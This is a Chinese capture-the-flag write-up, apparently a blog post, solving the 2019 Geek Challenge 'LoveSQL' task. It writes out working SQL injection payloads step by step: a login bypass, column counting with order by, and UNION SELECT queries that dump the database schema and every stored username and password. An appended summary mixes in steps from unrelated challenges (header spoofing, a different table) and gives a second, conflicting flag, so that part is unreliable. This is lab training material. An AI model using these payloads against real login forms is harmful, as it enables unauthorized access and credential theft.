[极客大挑战 2019]LoveSQL 1解题思路

[极客大挑战 2019]LoveSQL 1

代码审计,发现表单方式为get提交到check.php

image-20241105083124644

万能密码

admin' or 1=1 #

image-20241105083619218

登录成功,这边我以为密码就是flag,结果并不是,结合题目信息,猜想这应该是根据账号密码的注入

image-20241105083633321

尝试闭合?username=admin' and 1=1%23&password=d3c9cf30a12d1f13d4f778859fb16f73正常显示,?username=admin' and 1=2%23&password=d3c9cf30a12d1f13d4f778859fb16f73显示账号密码错误

image-20241105084835580

存在闭合注入,order by探测字段,order by 4,显示列错误,判断出字段数为3

?username=admin' order by 4%23&password=d3c9cf30a12d1f13d4f778859fb16f73

image-20241105085010073


这边有个小坑,之前一直用admin来做账号,结果发现闭合之后随便都是登录进去的,导致union显示不出来注入点,所以随便改了个username,然后进行union联合点查找

?username=abc' union select 1,2,3%23&password=111

image-20241105085749956

根据显示判断2和3都是注入点(怀疑sql是这么写的:username=usernameandpassword={username} and password=usernameandpassword={password},心可真大)

爆库(回显3为例)

?username=abc' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata%23&password=111

image-20241105090127015

发现数据库geek,爆表

?username=abc' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"%23&password=111

image-20241105090254895

发现两个表,爆字段

?username=abc' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"%23&password=111

image-20241105090607597

爆值

?username=abc' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=111

image-20241105091000630

太长了我复制下来

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{0430bf83-c7cb-403f-8965-54dae295b134}'

成功找到flag

flag{0430bf83-c7cb-403f-8965-54dae295b134}

### 极客挑战 2019 LoveSQL 比赛内容 #### SQL 注入漏洞利用过程 在极客挑战 2019LoveSQL 题目中,参与者需要通过一系列操作来获取 flag。具体来说: - 参与者首先发现了 `Secret.php` 文件并访问该页面[^2]。 - 为了绕过某些安全机制,参与者伪造了 HTTP 请求头中的 Referer 字段,并修改 User-Agent 为特定字符串 "Syclover"[^2]。 - 此外,还进行了 XFF (X-Forwarded-For) 头部的伪造以进一步规避检测措施。 这些步骤帮助参赛选手成功触发了应用程序中存在的 SQL 注入漏洞。 #### 利用联合查询技术提取数据 当面对具有两个字段的结果集时,可以采用简单的联合查询方法来枚举数据库结构和其他敏感信息。例如,在此案例中使用的语句 `-1' union select 1,database()#` 成功返回了当前数据库名称[^3]。 更深入地挖掘系统内部的信息,则可以通过扩展上述查询语句的方式实现。比如下面这条命令用于检索用户表内的记录详情: ```sql 1' union select 1,2,group_concat(id,username,password) from geekuser# ``` 这使得攻击者能够获得所有用户的 ID、用户名以及密码哈希值[^5]。 #### 获取最终 Flag 在整个过程中,最重要的是找到隐藏于应用逻辑深处的目标标志(Flag)。对于本题而言,最终取得胜利的关键在于正确构造请求参数从而揭示出预期形式的 Flag 值:`flag{62da5cdb-c71f-4cbd-afdd-cdcd052b610c2d}`[^1] 和 `Your password is '1admin02c039daff423020bb2e39a03514c659'`。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

成为别人口中的IT高手

写文章不容易,充充电吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值